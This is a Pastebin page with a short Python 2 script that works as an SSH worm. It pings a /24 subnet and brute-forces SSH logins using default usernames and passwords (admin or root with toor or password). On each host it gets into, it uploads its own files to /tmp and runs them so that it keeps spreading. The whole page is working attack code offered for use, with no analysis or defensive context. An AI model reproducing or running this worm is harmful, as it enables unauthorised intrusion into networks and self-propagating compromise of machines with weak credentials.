Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import paramiko, sys, os, glob
- user = ['admin','root']
- pwrd = ['toor', 'password']
- path = sys.path[0]
- def upload(connection):
- print '[*] Uploading Payload & Executing'
- sftp = connection.open_sftp()
- for i in glob.glob(path+"/*"):
- print '[*] Uploading file: '+i
- try:
- sftp.put(i, "/tmp/"+i.replace(path, ""))
- except Exception as e:
- print e
- connection.exec_command("cd /tmp/;chmod +x sshworm;./sshworm")
- print '[+] Done'
- def attack(ip):
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- for i in user:
- un = i
- for i in pwrd:
- pw = i
- try:
- print '[*] Trying '+un+' : '+pw
- ssh.connect(ip, username=un, password=pw, timeout=1)
- print '[+] Success'
- upload(ssh)
- return
- except paramiko.AuthenticationException:
- continue
- except:
- continue
- if __name__ == "__main__":
- print '[*] Scanning'
- for i in range(256):
- hostname = "10.0.0."+str(i) #example
- response = os.system("ping -c 1 -t 1 " + hostname)
- if response == 0:
- attack(hostname)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement